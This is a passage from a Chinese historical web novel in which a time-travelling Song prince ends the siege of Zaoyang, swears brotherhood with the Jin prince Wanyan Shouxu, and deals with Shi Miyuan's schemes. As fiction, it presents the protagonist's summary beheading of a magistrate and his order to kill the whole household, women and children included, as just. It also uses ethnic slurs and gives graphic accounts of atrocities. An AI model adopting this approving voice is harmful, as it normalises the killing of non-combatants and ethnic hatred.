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你收尸,轮回路上记得等我,我好告诉你,你说的文官不爱钱,武将不惜死则能天下太平的明天,我会一步步实现。”
背着江海,宋宇就要转身离去,却听身后传来谢道清的呼唤“:殿下,等等我们。”
宋宇转头看去,就见谢道清几人快步跑到近前,战场惨烈的景象,也是把几个姑娘给吓得不清“:殿下,我们胜了吗?”
谢道清一脸担忧的开口问道。
宋宇点了点头。
“:殿下您没受伤吧?”
宋宇摇了摇头。
得到了确认,谢道清几人立马松了一口气。
却在这时,王焕君目光敏锐,扫到了完颜守绪“:该死,是女**。看这穿着,官职怕是不低。”
言罢,王焕君抽出腰间短剑,做出了一个要进攻的姿势。
宋宇忙制止她“:小妹,他是金国三阿哥,双方已经签订了停战协议,莫要做出糊涂事。”
“;太子兄长,你知道北方汉人被他女**压榨的有多凄惨吗?自从女**南迁到黄河以南,那些女真权贵便大肆霸占汉人田产。太子兄长,江北流民千万,人尽相食,宛若地狱,他女**便是罪魁祸首。”
王焕君一席话说完,已经眼睛充血,眼见就要失控。宋宇忙令孟珙挡在了王焕君身前。
孟珙则第一时间开口劝道“:王焕君,双方已经停战,你要让殿下继续带兵与女**厮杀下去吗?你可知道,我们从襄阳带出来的兵马,已经只剩不到一千了!”
听到这个伤亡数字之时,王焕君愣在了当场,许久,偷瞄了宋宇一眼,就见宋宇浑身浴血,疲态尽显,此时扛着江海的尸体,正独自抹泪。
完颜守绪不失时宜的开口道“:这位姑娘,我乃大金三阿哥完颜守绪,本阿哥承认,之前对汉人一直瞧不起。但今日与大宋太子一战,彻底让守绪明白,宋人与我女真,并无高低贵贱之分。至于你所说的,掳掠汉家百姓土地之事,本阿哥并非一国之主,做不了那么大的决定。不过日后若是回到国都,一定禀明皇阿玛严查此事。这里先向姑娘赔个不是。”
完颜守绪能将话说到这个份上,还对着一个汉家姑娘道歉,看来是真想结交宋宇这个大宋太子。
王焕君在偷瞄宋宇那一刻,心就软了下来,至于完颜守绪的道歉,却是左耳朵进,右耳朵出“:太子兄长,你已经很努力的给我汉人争脸面了,小妹都看在眼里,记在心里。若是这世上能有谁让小妹信服,只有兄长罢了。”
语毕,王焕君收起了腰间短剑。
宋宇再未作声,默默的扛着江海的尸体,向着枣阳城走去。
孟宗政和张行信则各自开始招呼自家兵马,收拾战场上的尸体。至此,枣阳解围战,便以这种双方均死伤惨重的代价,结束了。
宋宇走到护城河边,放下了江海尸体,这才招呼众人挖坑。待一切事了,宋宇对着江海的墓碑拜了拜“:愿您老泉下有知,庇佑小子我,走得更远。”
第九十八回 宋金那些事 鞋底抽猛汉
红日彻底没入了天边,最后一缕微光照射在江海墓碑上,又渐渐消逝,白昼已去,黑夜即将来临。宋宇将龙旗插在了江海墓碑旁“:愿这龙旗,永远与老将军同在!”
江海之事已了,宋宇招呼完颜守绪向着城内走去“;守绪兄弟,竑有句话,不知当讲不当讲?“
完颜守绪此时是满脸歉意“;赵竑兄弟,有甚话,尽可说来。“
宋宇长叹一口气“;既然如此,兄弟我便直言了。实不相瞒,现今蒙古大军西征即将结束,得土地工匠财帛无数。实力更胜从前。守绪兄弟,竑劝你,速速调停南征各路人马,回北方整顿防务。或许,你大金国还有一线生机。“
“:兄弟,你?你怎的如此说我大金国?“完颜守绪见宋宇说自己大金国十分危险,一脸愕然的质问宋宇。
宋宇依旧面色不变“:守绪兄弟,你大金国什么样,你自己弄不明白吗?你如此煞费苦心,要和我赵竑结拜,还不是为了稳住我赵竑,好腾出手来,回北方与蒙古做个了断?“
完颜守绪见宋宇三言两语,拆穿了自己的小心思,脸臊得通红“;这...唉!既然瞒不住,我完颜守绪便直说了。这蒙古,真个是个恐怖的对手。想我大金国,正值海内大治,春秋鼎盛之时,却被这蒙古,打得狼狈不堪。赵竑兄弟,希望你能看明白眼前的情况,晓得唇亡齿寒的道理。想我宋金两国,现在也就是打个五五之局,而这蒙古,既然能压着我大金国打,等我大金国没了,定然也能压着你大宋国打。希望你能劝住大宋朝堂上的诸人,莫要自毁长城,背后给我大金国捅刀子。“
宋宇哈哈一笑“;哈哈哈哈...这是自然。我之所以说这番话,就是为了提醒守绪兄弟,回去之后,要劝服大金朝臣,切莫再说什么北边损失南边补,胜蒙古不足,胜宋人绰绰有余之说。须知,冤家宜解不宜结,这次,算是揭过去了,但若有下次,只怕你我两国,定然会有一个先死。“
“这点,赵竑兄弟放心。其实,皇阿玛早在半年前,就曾数次派使者,前去临安商讨停战之事。结过,使者尚未入境,便被赶了回来。皇阿玛一气之下,许下誓言,定要让你宋人低头认错。正因如此,两军才继续多打这半年之久。“完颜守绪有些愤怒和不甘的说道。
赶回去使者?宋宇听这完颜守绪如此说,顿觉丈二和尚摸不着头脑。怎么可能?史弥远在朝,再不济,也会接待自己主子得使者吧?
再者,自己的父皇,没那么气性大吧?况且整天病殃殃的,哪有闲工夫去赶使者?
这之中,肯定有什么误会。不过,现在既然事情了了,宋宇也懒得去思考,到底是谁驱赶得金国使者。
只是觉得,这赶走金国休战使者之人,定然不会是什么简单角色“:我赵竑回去后,定然劝劝父皇,让两国能够相安无事。”
两人就这样边走边说,聊着一些这几年战争得前因后果。宋宇今天可是长了学问了。
无数宋金之间,这些年陈芝麻烂谷子的事,全都从完颜守绪口里,问了出来。
像是金宣宗,完颜守绪的生父,据完颜守绪描述,比宋宁宗还要老实本分,甚至有些愚钝。
在朝中的经历和宋宁宗却出奇的像。如早年金宣宗并非皇位第一继承人。权臣胡沙虎杀掉卫绍王完颜永济后,**沙虎拥立为帝。
像极了宋宁宗被韩侂胄拥立为帝。而且胡沙虎和韩侂胄两个人都是武将身份。
后来金国版的史弥远术虎高琪杀掉了胡沙虎,金宣宗转而成为术虎高琪的傀儡。
术虎高琪掌权后第一件事便是和蒙古军议和。也像极了史弥远的作为。宋宇听到这里不禁暗道,这些个史弥远类型的权臣,招数技俩还真是出奇的一致,就跟一个师傅教出来的一样。
由于蒙古带给了术虎高琪巨大的恐怖,术虎高琪直接带着金宣宗南迁到了汴梁。这招比史弥远走得更远。对大金国的伤害也更为彻底。
从此女**彻底丧失了白山黑水的祖宗之地。只能困守黄河以南。又因为金国颓势尽显,南迁后的女真贵族大肆圈地,致使黄河以南群雄并起,汉人,契丹人,甚至是女真某些有兵的贵族,纷纷打着各种幌子占山为王。
黄河以南,淮河以北成为各势力互相厮杀的修罗场,仿若人间地狱。李全等人也是在这个时期于山东独立,做大做强。
包括北边打不过蒙古,就去欺负宋国这句名言,也是出自术虎高琪之口。
后来金宣宗忍无可忍,设计杀了术虎高琪,但术虎高齐留下的烂摊子,却让大金国国势举步维艰,包括打南宋这件事,为大金国的灭亡直接一路油门踩到底。甚至影响到现在的宋宇和大金国完颜守绪的这场战争。
宋宇不禁暗自咂舌:这权臣的危害,还真不是空穴来风。好像各朝各代的权臣,都是一个王朝毁灭的先决条件之一。
像是**甫,一面蒙蔽唐玄宗,一面大肆敛财,让大唐的风气充满了铜臭味。安禄山贿赂他,他就嘴一张,告诉唐玄宗安禄山忠心可嘉。给大唐引来一个巨大的祸患。这种任人唯财的用人方法,最后只能是自掘坟墓。
好像大宋之后还会出个权臣贾似道,蛐蛐宰相,带兵去抵挡蒙古大军,却吓得弃全军而逃。直接坑惨了谢道清。被谢道清大骂表面看锦衣华服,却没个人样。
就在宋宇有一搭没一搭的聊天赶路之时,耳边传来一道粗旷的声音“:太子兄弟,你出城跟女**谈判,谈滴咋样咧?“
宋宇见是彭义斌,脸上不自觉的便浮起了笑意“:彭兄弟,双方已经约定好停战了。“
“;这,诶?殿下,你身边背个猪尾巴辫子的那人,是何身份?“彭义斌正要离去,转脸又看到了与宋宇并肩而立的完颜守绪,出于好奇,开口问道。
宋宇也没责怪彭义斌不识礼数,冲撞了完颜守绪。依旧是满脸微笑的介绍道“;这位,便是金国三阿哥完颜守绪,多亏了他深明大义,今日才能停了这场毫
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无意义的争斗。保下了无数条性命。“
本以为彭义斌听了,会像孟珙一样,十分理解的让出道路。但宋宇想错了,这彭义斌也不知是怎么想的,突然脸色大变,阴沉着脸,质问宋宇道“;太子兄弟,俺是个粗人,不太会说话,懂得道理也少,但俺现在很不明白,这些金狗,就是畜生,压根就没把俺们汉人当人看。这些年,俺老彭可是没少和这些畜生打交道。可是十分了解他们,这些畜生,在俺们山东,烧杀抢掠,奸辱成性。更加令人发指的,这些畜生为了不让被奸辱得汉家女子,生下他们所谓得劣质品种,竟然残忍地将被奸辱后的汉家女子,全部剥开肚皮,像是杀猪似的倒掉在木柱子上。更有一个叫草火讹可的女真将领,每每抓到俘虏,便给俘虏绑上柴草,放火烧着玩儿。殿下兄弟,你可切莫与这些个畜生的主子站在一块啊。“说到最后,彭义斌几乎是嘶吼出来的。
宋宇被彭义斌一席话说愣了,尴尬的看了看旁边的众人,见他们也是满脸愕然,知道现在这个情况,不是和彭义斌争吵得时候。
便继续笑着,劝彭义斌道。“:这,兄弟,现今场合,不是说这些的时候。你且先退下,容我日后再与你解释,可好?“
彭义斌并未被宋宇劝下,依旧愤愤然的说道“:太子兄弟,既然你执意要与这金狗主子站在一块,那俺还是回山东,去做俺的山大王算了。“彭义斌脑袋一梗,愤愤然的转身就要走。
“;彭兄弟,你,你怎生如此糊涂?太子殿下,对你可曾慢待?“就在彭义斌耍小孩脾气,转身要走,一道威严的女声传来。
众人循着声音看去,就见杨妙珍双手叉着腰,满脸愠怒得用用手指着彭义斌面门,出言呵斥耍脾气的彭义斌道。
彭义斌见是杨妙珍,冷哼一声“;恨。四娘子,这金狗恶行累累,俺是咽不下这口气,你爹,不也是被金狗俘虏,残害而死吗?“
杨妙珍见这彭义斌蹬鼻子上脸,当着如此多人,竟然提起自己父亲得死因。
立马火冒三丈,三步并作两步跑到了彭义斌跟前,脱下脚上鞋子,照着彭义斌脑袋瓜子,就是一通猛抽。边抽边骂道“:你这蠢汉子,关键时候,便要犯浑。还说甚回山东。我杨妙珍,可没你这样糊涂的兄弟。你当你是三岁小孩?想来就来想走就走?你忘了你我还是太子殿下的俘虏,是太子殿下宽仁为本,你我才能站在这里开口说话。太子殿下待你为兄弟,你还撅嘴堵上气了?太子殿下惯着你,本姑娘可不会惯着你“
杨妙珍说到这,手上鞋底子抽彭义斌越发用力,让围观之人看的无不呆若木鸡。
彭义斌被杨妙珍用鞋底抽了个没脾气。说实话,彭义斌和杨妙珍相处,也有六七年了。
想当初,这丫头十二三岁时,他彭义斌便跟随杨妙珍的父亲,杨安儿,闹起了红袄军。
后来杨安儿身死,红袄军作鸟雀散。彭义斌为了躲避金军追捕,也和杨妙珍失去了联系。
第九十九回 花开不需喜 花落君莫忧
正所谓
花开不需喜,
花落君莫忧。
来年三春日,
还来解君愁。
杨妙珍数年后再次拉起山头。并且和李全和并一处,声势大振,数度击败金军。
而彭义斌却一直被金军打得抱头鼠窜,东躲西藏。万般无奈之下,狼狈投了李全。再见这杨妙珍,对方已是年方十**岁的大姑娘了。
长得亭亭玉立,身手更是了得,曾在比武场上,数次击败以铁布衫自居的彭义斌。
相对的,彭义斌反倒是不服首领李全,李全功夫虽然没有杨妙珍好,但也不是盖的。山东人送外号,李铁枪,不过在彭义斌眼里,这李全人品着实不咋地,贪图享乐,鼠目寸光,就是一个典型得山大王成了精。
别说他彭义斌,就是在整个忠义军中,也找不出来几个真心服他李全的。
像忠义军下边那些个有头有脸的兄弟,有事了,都是去找四娘子杨妙珍商量。
这李全呢。也就是个想法捞钱养兵得财主。至于威信,和杨妙珍不是一个层级的。
正因为如此,这彭义斌现在被杨妙珍一通鞭笞,非但没有生气,反倒是憨厚的求饶起来“;诶!!!四娘子。轻点。俺这铁布衫,就怕被女子鞋底子抽。容易破功。”
“;轻点?轻点怕你这蠢汉子不长记性。我且问你,太子殿下在这里官最大,只要太子殿下开口,那便是命令。为何殿下做得主,你竟然敢公然违抗?“只见杨妙珍边抽,边质问彭义斌道。
彭义斌见杨妙珍这样劝自己,很是没脾气“;四娘子,还不都是因为见惯了山东那些金狗的所作所为,俺才如此恨他金狗?“
“;杨姑娘,莫要再打了。归根到底,彭兄弟也是心里有委屈。让他撂撂蹶子,发泄下也好。“宋宇见杨妙珍越打越起劲儿,直抽的彭义斌嗷嗷直叫,在旁一脸无奈地劝道。
杨妙珍见宋宇开劝,这才止了鞋底子。对着宋宇拱拱手“:这蠢汉子在山东时便如此,一根筋,认死理,属王八的,每次犯浑给李全难堪,妙珍都要拿鞋底子抽他。不然全由着他,天还不得给他捅漏了?“
宋宇‘噗嗤’一声笑了。想不到这彭义斌,响当当的山东好汉,还有这样一段秘史。
估计以前在山东,没少因为这张嘴,被四娘子杨妙珍收拾!其实宋宇心里很明白,像杨妙珍与彭义斌这类人,肯定是最恨金人得。
为何?一则,这些人是起义者,反抗的就是金国残酷的剥削,与奴隶式的压迫。
可以说,是这个世道里,最恨金人的一类人,没有之一。
这二则,这些人起义后,肯定被无数次的诱降劝降打压围捕,能活到现在还没投降,可见这些人都是铁了心要反金的!
所以这彭义斌,听说自己敬仰的太子兄弟,正和他曾经不共戴天的仇人,金人主子站在一块,立马就站出来反对了。
带着这些想法,宋宇并没有怪罪彭义斌耍小性子的意思,反倒是越加欣赏彭义斌和杨妙珍这俩人。
彭义斌敢爱敢恨,憨厚可爱,而这杨妙珍有情有义,通晓事理。如果一辈子有这样俩人做朋友。肯定是最值得庆祝的事。
如此想着,宋宇对着完颜守绪抛去了一个微笑,指了指彭义斌俩人“:他乃是山东忠义军的,与你金人打了十数年了。不过,现在已经投了我,脑筋还有些抹不开。待我去劝劝他。”
完颜守绪此时被这群人搞得晕头转向,有些糊涂。没办法,现场太乱了。完颜守绪只觉得大宋太子的人际关系很乱来!
而且手下这些将领,个个都不是容易降伏得主。本来以为这扎髯大汉,敢顶撞太子,就是逆天了。
哪知道后边这个模样俊俏的美娇娥。也不知是吃了熊心豹子胆?还是怎的。三句话不到,拿着鞋底子就抽扎髯大汉!这...着实把完颜守绪整蒙了。
超出了这金窝窝里长大的完颜守绪,所能接受的最高人际关系极限了!而且他大宋太子被人如此顶撞,竟然一直面色不变,微笑解释,更是让完颜守绪无比懵逼。
感情,这大宋朝的太子,就这么不值钱?手下随便来个将军,都跟大爷似的教太子做事?
完颜守绪不禁暗道:要是本阿哥手下的那些狗奴才,哪怕稍微顶撞本阿哥一句,本阿哥也绝对会割了他的舌头!
如此想着,完颜守绪回给了宋宇一个同情的眼神“:赵竑兄弟,想不到,你在大宋,如此不容易啊!”
宋宇心里装着彭义斌这憨货,见完颜守绪说出了这样一句话,也没细想,哼哼哈哈点了点头。快步走到了彭义斌身边,拍了拍他的肩膀“:兄弟,你信不过我赵竑?”
彭义斌刚挨完一顿鞋底子,此时正自坐在地上生闷气,见宋宇拍了拍自己肩膀,问出这样一句话,脑中不自觉,浮想起了宋宇这些日子常常挂在嘴边那些话:他日若是掌了权势,定然将这天下变他一变。到时再举兵北伐,收复我汉人故土!方为大丈夫所为。
想到这里,彭义斌抬起头,懵懵得盯着宋宇那张白脸看,似是要寻找什么?
许久,才叹了口气说道“:嗨!俺是个粗人,太子兄弟想要作甚,便作甚,俺以后只管给太子兄弟冲锋陷阵便是!”
言罢,从地上一咕噜,站起身来。对着宋宇双手抱拳,道歉道“;方才俺鲁莽了,还请太子兄弟莫怪。”
宋宇见这彭义斌被劝服,哈哈一乐“:无妨,只要你相信我赵竑便好,若是你我之间,无有了信任,何来兄弟之说?”
语罢,也不待彭义斌等人在开口,对着杨妙珍谢道“:杨姑娘,多谢你解围。我赵竑,这些日子,欠下你太多人情。他日有机会,定然好生报答。”
杨妙珍将自己额前散乱的秀发,轻轻撇到了一侧,眨着妩媚的大眼睛。对着宋宇说道“:殿下非常人也,想我杨妙珍,平生最恨那些个衣着光鲜的大官人。但自从见了太子殿下,妙珍才知道,原来衣着光鲜的外表下,不光藏着禽兽,有时,还藏着
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着像殿下这般,明是非,有胆略,晓恩义得真君子!”
宋宇听完杨妙真这一大套夸赞的话,心中暗自咂舌:都说情人眼里出西施,这姑娘,莫不是看上我了吧?
这可不妙啊,杨妙珍功夫了得,娶回家里,还不得天天挨揍?
想到这里,宋宇咽了口唾沫“;杨姑娘谬赞了。其实我赵竑,脱了身上这太子装,就是一条穷狗!年近三十,老婆都娶不上的那种穷狗一条。”
莫名其妙的甩下这么几句话,也不管杨妙真听没听懂,如何表情。继续对着他俩吩咐道“:这里已然没事了,你二人去帮孟老将军,打扫战场吧。对了,咱那群牛和毛驴,不是都报销了吗!你们俩,找些身强体壮的士卒,将坑里的死牛都拽上来。想这城内百姓,已经数日挨饿了。索性,将这些牛和毛驴,全都煮熟了,散发给枣阳所有百姓。待到一会不忙了,本殿下再写封信,让人送回襄阳去,运来粮食财帛,打发此间百姓,与大金国三阿哥。”
两人得了令,诺了一声,便去忙活了。
宋宇这才转过脸,对着完颜守绪,伸出右手作出个请的姿势“:守绪兄弟,请入城详谈。”
言罢,拉着还在愣神的完颜守绪右手,大踏步向着枣阳城内走去。
很快,一行人穿过了枣阳西门的瓮城,进入了西城门内,就见门内三员小将,正在朝自己等人张望。
待宋宇等人走到跟前,才发现,对方是两男一女。
只见这两男一女,全都身穿铠甲,大的也就二十郎当岁,从表面上看年龄最小的那位姑娘,金甲红袍,脑后扎着一对小辫,个子虽矮,却是长得娇小迷人。估摸着顶多也就十四五岁的样子。
而且这三人身上都是血迹斑斑,可见刚刚经历了一场苦战:“:我乃太子兼京湖巡检使,不知你们三位是?“宋宇率先开口道。
三位一看面前之人自称太子,脸上又惊又喜,赶忙跪下磕头道“:孟宗正之子孟璋,孟璟,之女孟英。拜见太子殿下。“
宋宇一听这三人介绍,心里了然,原来是孟宗正的儿子女儿。记得历史上,这几个,可都是身手了得啊。
随便挑一个,带在身边都是万无一失的顶级护卫啊。
想到此,宋宇面带微笑,像个坏叔叔一样,将三人一一搀了起来“:三位小英雄,快快请起。想你三人已经苦战挨饿数日,如此跪着,岂不是让本殿下难看?“
说到这里,宋宇又问道”:不知这枣阳,可有待客之所?本殿下要与这大金国的三阿哥,好生聊聊。“
一听太子自称自己巡检使,又问起有没有待客的去处。年龄最小的孟英眼睛突然一亮,调皮的说道“:殿下,这枣阳最有钱,最会享受,最好的宅院,便是知县李大人家。“
宋宇一听这孟英所说,心里呵呵一声。自然而然想到:这知县,**不离十便是史嵩之安插在孟宗政眼皮底下的暗桩“:好,丫头,你来带路,咱们去叨扰一下这位李大人。“
第一百回 各方的态势 知县与幼童
宋宇那边开启了谈判。此时,山东忠义军李全处。
李全直到数日前,才从长江战场跑回来的兵丁处,问清了长江水战的来龙去脉,当时就懵逼了,赶忙找来了自己的兄弟,李福商量此事。
话说李全这兄弟李福,一直被李全授予鱼盐管理之事,可以说,掌握了忠义军得钱财来路。
在得了李全得命令后,李福马不停蹄,赶回了李全所在,青州。
两兄弟一见面,李全便迫不及待的说道“:这次的买卖,咱们可亏本,亏大发了!!杨妙珍那婆娘被掳走了不说,就连咱们数月前吞并的帐前忠义军,也是全军覆没。“
这李福,虽然和李全是亲兄弟,但除了同样爱财爱娘们之外,这李福丁点功夫不会。还一肚子的坏水。
李福见这斜眉歪眼的弟弟说出这样一番话,心里也是一惊,还不待他询问详情,李全继续哭诉道“;唉。都怪咱一时财迷心窍,让那万昕利用了,现在不但全军覆没,更是得罪了当朝的太子爷。万一这太子爷回到了临安,跟他皇帝老爹一说。只怕俺们在这山东,便没有好日子过了!“
李福这才听明白李全说的是哪件事,只见他挤了挤眯成一条缝的双眼,恨恨的说道“:要不,咱全军出动,作了这太子?“
李全见自己的兄弟,如此不知天高地厚,竟然要公然扯旗,出兵剿灭当朝太子!这心,噗通通跳得飞快“:你觉得,就咱手下这十数万兵,能得了赵氏天下?“
李福听了李全之言,知道自己说的有点不现实了,赶忙改口“:那依你之见,咱们岂不是只能坐以待毙了?“
李全被问,低头陷入了深思。许久,才抬起了头“;现在看来,俺们只有两条路可走了!“
山东李全琢磨半天,才琢磨出来了两条路。而另一边,大宋临安史府内。
史弥远一众,今日下朝之后,又来大聚会了!只见史弥远仿若帝王,正襟危坐在宽阔的会客厅内正手太师椅上“:诸位,那李全,没办好本相交托的差事,竟然还派人来死皮踹脸的要打赏。真个厚颜无耻!诸位,可否说与本相,到底是给不给这钱?“
郑清之听史弥远一席话说完,心中暗暗琢磨:都说越有钱的人越抠门,一点都不错,拿公家钱的时候,那叫一个爽快,可现在别人给他办了事,向他要钱的时候,他倒好,还要商量商量。
要说你史弥远,存的钱,就照现在花销的速度,能够你们史家花到八辈之后了。
就这情况,还踏马这么在乎钱?要么说,为什么人家就能做丞相,咱就得给人当狗腿子呢?
归根结底,就是因为史相胃口大,吃得多。拉出来的少,或者干脆不拉,活脱脱一貔貅。
我郑清之,可得好好跟着史相学习,做一个贪心的人,有用的人,只吃不拉的人。
如此想着,郑清之一脸媚笑,就像那分开腿,等着客人来的小娘皮似的“;恩相,这李全,好歹也是给咱们办事之人,虽然办砸了,但也是死伤惨重。若是分文不给,怕是会寒了那些忠心为恩相办差之人的心呐!恩相不若来个折中之法,将先前许给的银钱,降低一半,如此,既能不失了李全之心,又能让唯恩相马首是瞻的同僚们,更加肝脑涂地真心实意的为恩相效命啊!“
史弥远低眉细一思量,深以为然,抬眼点了点头,吩咐周围众人,按照郑清之的主意,下去准备了。
待到遣散了众人之后,史弥远的儿子史嵩之,从后堂转了出来“:爹,怎的京湖叔叔那里,还没消息送来?“
史弥远见是自己那宝贝儿子,一改方才给人钱时,就像被人割肉般的表情,摇动着那肥硕的大脑袋瓜子,笑盈盈的说道“;襄阳往来数千里,就算消息从水路传递,最快也要半月,才能往返。再加上中间耽搁的时日,恐怕得再过几日,你叔叔那边才能传来消息。“
史施德听完自己父亲所说,有些不高兴,可也没有和自己的爹拗到底,转移话题,继续问道“;爹,等到宰了这太子,儿子可否不娶那黑婆娘?看见她,儿子就直觉得恶心!!这婆娘,长得也忒黑了。”
如果宋宇在这,肯定会对着史施德破口大骂,名言谢道清那肤色叫古铜色。
史弥远一听儿子又提这个,立马有些不高兴了“:你,不娶是万万不可,若是嫌他黑,你就把她娶回来,锁屋里一辈子不见面不就成了?”
“;父亲,那黑婆娘,压根就看不上儿子!不先睡了她,哪能娶到手?”史施德一脸苦逼,顶嘴道。
史弥远见儿子这为难的模样,也是有些心疼“:这,不是爹心狠逼你,你也知道,谢家势力不小,和她结亲,才能将杨皇后与咱史家,死死拴在一起,一荣俱荣,一损俱损。这,也是为了给咱史家,留条后路啊!万一爹哪天告老还乡了,起码还有人在朝中给咱撑着,不至于**啊!”
史施德听完史弥远苦口婆心一通劝,万般无奈之下,一咬牙说道“:那,到时儿子睡那黑婆娘时,吃亏些,闭着眼,只当被猪巩了!“
得,这史施德,对自己感觉良好,自打出生那天起,身边的人都是跪舔。就在这种氛围中,这史施德完全不知道自己这副尊容,就是典型的歪瓜裂枣。
这就叫一富遮百丑。不光如此,这史施德,估计是听那来自周围得,美丽的谎言听多了,竟然认为自己这是标准的美男子!
再加上**岁开始,便阅尽天下美女无数,睡过世间酥骨柔香无穷。反过来在看像谢道清那般长相普通得黑婆娘,实在是入不得史相公子法眼。
想他史弥远,为官之前也是一方豪绅,所以这史弥远也是含着金汤勺出生的,对儿子的苦衷,可谓深表同情。
见儿子如此深明大义,舍身为了老史家千秋万代的基业,献出了自己那‘如花似玉身’。
当场感动的是痛哭流涕“;哎呀!乖儿子,为父让你受委屈了。“
那边史弥远父子情深,父慈子孝,枣阳这边。
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宋宇和完颜守绪一行人,已经在孟英这丫头的带领下,来到了一座华丽的牌坊前。
宋宇抬头观看,只见牌坊上笔走龙蛇,书着四个大字‘青天再世’!旁边有书,乃是史嵩之题字!
穿过了牌楼,便是一座华丽的庄园,镶嵌在枣阳城内,密密麻麻的普通民居之中,显得是格外突兀,用鹤立鸡群来形容,都有些不恰当。只有用凤凰立于麻雀堆这样现造的词,才能恰如其分的,形容这座庄园的拔群惊艳。
而宋宇看过了这一切,嘴角浮起一丝蔑笑“:呦呵!只当青天一说,就是老百姓的意淫,哪成想到,今日还真让本殿下撞上了一位。“
宋宇言罢,往旁边啐了口痰,抬头指着青天牌匾,继续说出了一句酸不可耐的话“:青天只应梦中有,清醒哪得世间闻?”
语毕,径直领着众人走向了庄园。
早有门口家丁禀报给了那李知县,那李知县闻听太子殿下到来,不敢怠慢。是风风火火的迎了出来。
两方人马在庄园门口相遇,只见知县李大人立马跪在地上,嬉皮笑脸给宋宇行礼“;卑职,枣阳知县,李茂成,叩见太子殿下。“
宋宇也不劝他起来,冷声问道“:外面两军交战,你身为枣阳父母官,知不知道,城内那些个牙都没长全的奶娃娃,都在帮着守城将士挑水。为何独独你既不出府办差,也不上城迎敌?窝在这天上人间里,做起了宅男?“
李茂成一见太子如此问,也没当回事,继续嬉皮笑脸的说道“:卑职是奉了史嵩之,史大人之命,来此协助孟老将军管理枣阳百姓的。还望殿下看在史大人面上,莫要为难下官则个。“
李茂贞话说到此处,只见眼前白光一闪,随即感觉脖间一凉。就觉得自己身上顶着的八斤半,脱离了自己的身体,飞向了空中,又听‘咕噜噜’之声,这八斤半,滚到了地上,一息尚存之时,这李茂贞掉在地上的八斤半,正好瞪着双眼,看着自己身子仍然跪在地上,只是没了脑袋,脖腔处飕飕的直喷血柱。
而方才出手的,便是宋宇,说实话,宋宇一听他提史嵩之,压根就没打算再听他废话,飞快地抽出仁剑,手起剑过。直接一剑割下了李茂贞脑袋。
而李茂贞弥留之际,只听太子恶狠狠的说道“:别解释,本太子懂!“
这突如其来的一幕,再次惊到了身边众人。
孟英丫头却率先拍手喊叫了起来“:殿下,杀得好,这狗知县贪生怕死不说,还屡屡不让父亲收容难民。着实可恶。殿下此举,着实是为枣阳百姓除了一害!“
而完颜守绪却是第二次懵逼了:这大宋太子,好奇怪啊?刚才那扎髯大汉,指着鼻子指责他,他都没生气,反倒还谦恭得劝人家别耍小孩脾气。当时看起来,好生窝囊。
可这才多大会功夫,人就变了?这枣阳知县,要多谦恭,有多谦恭。哪知这太子竟然连两句话都没听完,直接手起刀落,宰了。这踏马得,究竟是什么情况?
第一百零一回 两族同宴饮 平等待对方
越想越迷糊,完颜守绪干脆指着地上依旧保持跪姿,脖腔子喷血的尸体问道“;赵竑兄弟,这,为何你会?“
宋宇也没听完这完颜守绪说什么,转过身直接嬉皮笑脸的问道“;啊?怎的?守绪兄弟你想补两剑,过过瘾?”
言罢,宋宇爽快的将手中仁剑递了过去,做出了个你懂的表情。
看着面前这大宋太子,完全不知所谓的言语,完颜守绪很是无奈,忙摆手说道“;不不不,家里有,家里有!其实守绪是想问,为何赵竑兄弟会杀了这厮。**,总得有个理由吧!”
“;没理由,就是看他不顺眼。”哪知宋宇压根不想解释什么,直接一句话,堵**完颜守绪的问询。
说完这句话,宋宇也不等完颜守绪再问,对着身后一直跟随的孟英吩咐道“:孟姑娘,本殿下命你,带领手下兵马,包围了这知县庄园。但凡府中之人,不论男女老幼,尽皆宰了。莫要放跑一个。完事之后,将府中抄没出来的金银,全都交给孟老将军保管便是。”
孟英爽快的领了声喏,对着身后兵丁吩咐了片刻。便带人,冲进了庄园里。
话说孟英自幼跟随在孟宗政身边,耳濡目染,也是养成了嫉恶如仇的坏习惯,更兼对知县和府中之人平素所作所为颇为不满,下手便没了顾及,不多时便听府内惨叫声此起彼伏。
宋宇见一切吩咐妥当,这才对着完颜守绪说道“;守绪兄弟,请。”
完颜守绪呆呆得哼哧了一声,随着宋宇等人走进了这座喊叫声四起的华丽庄园。
等到几人走到正厅,喊叫声也渐渐平息。而宋宇等人,也已经在正厅之内分主次落座。
只见宋宇和完颜守绪共同坐在主座上,下边跟随的众人则是分成了金宋两个阵营。
两方人马虽然有些拘束,但也并非是傻愣着。交流之声时而有之。就这样,宋宇和完颜守绪边聊天,边品茶,一下午时间很快过去了。
随着天色越来越晚,在外边打扫战场的两方人马,也都三五成群,陆续来到了这座庄园。
宋宇见人基本齐了,才对着完颜守绪点了点头,两人手拉手,同时站了起来,对着下边满堂宋金将领开诚布公道“:诸位,我二人,今日晚间,要结为异族兄弟,从此以后,但愿宋金两国百姓,和睦相处,大汉女真两族,平等视之。再无争端。”
言罢,两人端起事先准备好的酒碗,拿出了一柄绑着红布的短匕。各自割破了拇指,滴了一滴血,在这酒碗之中。
两滴鲜红的血液,进到这清澈的酒中,并未立马消散,又有缓缓靠拢之意。见此,宋宇端起酒碗,饮了一大口“:好酒。借着这碗酒,我赵竑想说,女**与汉人,都是炎黄子孙,这毋庸置疑,女真便是战国之时,燕国后裔北迁所化。汉时为东胡,唐时称渤海。到了我大宋,便称女真。归根结底,一脉相承。希望两族以后,莫要互相敌视,尤其是你女**,莫要说甚,汉人为奴为狗,种地尚可,打仗着实不行之言。以后啊,你们什么时候有了这种想法,尽管告诉本太子,本太子定然让你们晓得,都是炎黄子孙,谁踏马比谁怂了?”言罢,宋宇将酒碗递给了旁边的完颜守绪。
完颜守绪听这宋宇颇带嘲讽挑衅意味的发言,尴尬的对着堂内众人笑了笑“:对,都是炎黄子孙,以后莫要在互相辱骂了。咱女**,确是在打仗上,赢过汉人,但那已经是祖宗的事迹。现今两族已经全都皈依了儒学,尊孔老夫子为师。除了身后这条发辫不同,已经没什么区别了。”语毕,将碗中所剩的酒,一饮而尽。
宋宇看着完颜守绪笑了笑:这小阿哥,还真如历史上所说,汉化极深,也正是这样的人,在这样的情况下,才会将汉人,摆在应得的位置上。这,就是被华夏文化同化的结果。
数千年来,华夏文化这道光,感化了周边无数民族,使得华夏文化圈不断扩大。
但也就是在这文化圈拓展的关键时刻,蒙古人出现了。森严的等级制度,细致的种群划分,就像一记沉重的左勾拳,彻底将华夏文明打趴在地。而现在自己莫名其妙来到了这里,必须得动用一切力量,阻止蒙古得华夏文明毁灭战。
